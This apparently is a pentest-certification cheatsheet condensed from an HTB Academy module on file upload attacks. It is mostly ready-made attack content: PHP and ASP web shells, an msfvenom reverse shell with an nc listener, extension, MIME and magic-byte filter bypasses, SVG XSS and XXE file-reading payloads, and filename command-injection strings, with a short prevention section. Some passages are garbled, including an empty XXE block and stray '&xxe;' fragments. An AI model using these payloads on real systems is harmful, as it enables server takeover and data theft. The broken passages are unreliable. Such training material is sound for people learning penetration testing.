File Upload Attacks — Web Shells, Filter Bypass and Limited-Upload Exploits (HTB CWES)
Built from the File Upload Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every bypass and payload kept, condensed. Labs and lessons are on HTB Academy.
An upload form that doesn't validate properly is one step from RCE: upload a script in the server's language and visit it. When uploads are limited to images/docs, you can still get XSS, XXE, SSRF or DoS. File upload is CWE-434, almost always scored High/Critical.
1. Shells: web and reverse
A web shell must be in the server's language. Minimal PHP / ASP:
<?php system($_REQUEST['cmd']); ?> <!-- visit shell.php?cmd=id (view-source Ctrl+U for clean output) -->
<% eval request('cmd') %>
Ready-made: phpbash (semi-interactive), SecLists Web-Shells/ (/opt/useful/seclists/Web-Shells on Pwnbox).
A reverse shell is better when it works — pentestmonkey php-reverse-shell (set IP/PORT on lines 49-50), or generate one:
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > reverse.php
nc -lvnp PORT # listener; then upload + visit the script
Identify the language first: visit /index.php (then .asp, .aspx…), use Wappalyzer, or Burp Intruder with SecLists web-extensions.txt.
2. Bypassing client-side validation
If the form rejects your file but no HTTP request is sent (check DevTools Network), validation is front-end only. Two bypasses:
- Modify the request — upload a valid image, intercept in Burp, change
filename="HTB.png"→shell.phpand the body → your web shell, forward. - Disable the JS — Inspector (
Ctrl+Shift+C), find<input ... onchange="checkFile(this)" accept=".jpg,.jpeg,.png">, readcheckFilein the Console (Ctrl+Shift+K), then delete theonchangeattribute (andaccept). Temporary, but enough to upload.
3. Bypassing back-end blacklist filters
A blacklist (php, php7, phps…) is never comprehensive. Fuzz extensions with Burp Intruder (PayloadsAllTheThings PHP list; untick URL-encode so the . stays), sort by length to spot the ones that upload. Then use an allowed executable extension:
.phtml .phar .php3 .php4 .php5 .php7 (try several — depends on server config)
pHp # mixed case bypasses a case-sensitive blacklist on Windows
4. Bypassing back-end whitelist filters
Whitelists are stronger, but a weak regex is exploitable. A regex missing the $ anchor (.*\.(jpg|png) not ...$) only checks the extension appears, not that it ends the name:
shell.jpg.php # double extension — passes "contains .jpg", runs as PHP
If the regex is strict (...$) but the web server misconfig (Apache <FilesMatch ".+\.ph(ar|p|tml)"> without $) grants PHP execution to anything containing .php:
shell.php.jpg # reverse double extension — ends .jpg (passes), runs as PHP
Character injection tricks the parser:
shell.php%00.jpg # null byte — PHP ≤5.x truncates to shell.php
shell.aspx:.jpg # colon on Windows → writes shell.aspx
# also try: %20 %0a %0d0a / .\ . … : before/after each extension (fuzz permutations)
5. Bypassing content filters
Content-Type header — browser-set, so you control it. Change the file part's Content-Type to image/jpg:
MIME / magic bytes — the server reads the first bytes (mime_content_type()). Prepend an image signature; GIF8 is ASCII and the easiest:
echo "GIF8" > x.jpg ; file x.jpg # → GIF image data
# in the shell: first line GIF8, then <?php system($_REQUEST['cmd']); ?>, keep extension .php
Combine both: an allowed MIME + disallowed extension, allowed extension + disallowed MIME, etc., to confuse layered filters.
6. Limited uploads → other bugs
When you can only upload images/docs:
- XSS — upload an
.htmlwith JS; or an image with an XSS payload in metadata (exiftool -Comment=' "><img src=1 onerror=alert(document.cookie)>' x.jpg); or an SVG (it's XML):xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg> - XXE (SVG / XML / PDF / Office carry XML) — read files, including source: ```xml
]>
]>
``
Leaked source reveals the uploads dir, allowed extensions and naming scheme. (See [Web Attacks](/en/articles/web-attacks.html)-style XXE.)
- **SSRF** via the same XXE.
- **DoS** — zip decompression bomb, pixel-flood JPG/PNG (fake huge dimensions), oversized file, or path-traversal upload (../../../etc/passwd`).
7. Other techniques
- Filename injection — if the name is used in a shell command, SQL query, or reflected:
file$(whoami).jpg,file`whoami`.jpg,file.jpg||whoami;<script>alert(1)</script>.jpg;file';select+sleep(5);--.jpg. - Upload-dir disclosure — force errors (duplicate name, 5000-char name, simultaneous requests) to leak the path; or read source via LFI/XXE.
- Windows — reserved chars (
| < > * ?) / names (CON,NUL,LPT1) cause errors; 8.3 names (WEB~1.CON) can overwrite files.
8. Prevention
- Validate extension with whitelist and blacklist, anchored (
/^.*\.(jpg|png)$/whitelist; blockph(p|ps|ar|tml)anywhere), front and back end. - Validate content — Content-Type and
mime_content_type()and ensure they match the extension. - Hide the uploads dir — serve via
download.php(authz + path checks → no IDOR/LFI), random stored names (original in DB),403on the dir,Content-Disposition: attachment,X-Content-Type-Options: nosniff, separate storage server,open_basedir. - Harden —
disable_functions=exec,shell_exec,system,passthru,…, hide errors, limit size, update libs, scan uploads, WAF.
9. What to carry into the CWES exam
- Fingerprint → test arbitrary upload (
<?php system($_REQUEST['cmd']);?>), then escalate to the right filter bypass. - Climb the filter ladder: client-side (Burp/disable JS) → blacklist (fuzz
.phtml/.php5, case) → whitelist (shell.jpg.php,shell.php.jpg,%00/:) → content (Content-Type: image/jpg,GIF8magic bytes). Combine extension + content tricks for layered filters. - If upload is truly limited, pivot: SVG XSS/XXE (read source with
php://filter), metadata XSS, filename command injection. - Visit the file under the uploads dir (
/uploads/,/profile_images/); if hidden, force an error or read source to find it.
Cheatsheet — File Upload Attacks
Shells
<?php system($_REQUEST['cmd']); ?> <!-- shell.php?cmd=id -->
<% eval request('cmd') %> <!-- ASP -->
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > reverse.php
nc -lvnp PORT
# phpbash, SecLists Web-Shells/, pentestmonkey php-reverse-shell (edit IP/PORT)
Identify / client-side bypass
/index.php (.asp/.aspx…) Wappalyzer Burp Intruder + web-extensions.txt
Burp: change filename="x.png"→shell.php + body→shell | DevTools: delete onchange="checkFile(this)"
Extension bypass
blacklist : .phtml .phar .php3 .php4 .php5 .php7 | pHp (case) (fuzz, untick URL-encode)
whitelist : shell.jpg.php (weak regex) shell.php.jpg (Apache FilesMatch misconfig)
chars : shell.php%00.jpg shell.aspx:.jpg (%20 %0a / : . before/after ext)
Content bypass
Content-Type header → image/jpg
magic bytes: first line GIF8 (file x ; mime_content_type)
Limited uploads
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg> <!-- XSS -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><svg>&xxe;</svg> <!-- XXE -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]><svg>&xxe;</svg>
exiftool -Comment=' "><img src=1 onerror=alert(1)>' x.jpg <!-- metadata XSS -->
Filename injection
file$(whoami).jpg file`whoami`.jpg file.jpg||whoami <script>alert(1)</script>.jpg
Prevent — whitelist+blacklist (anchored $) · Content-Type+MIME+match · download.php (random names, 403) · disable_functions · size limit · WAF
Built from HTB Academy's File Upload Attacks module — labs, lessons and the CWES exam are on HTB Academy.
&xxe;&xxe;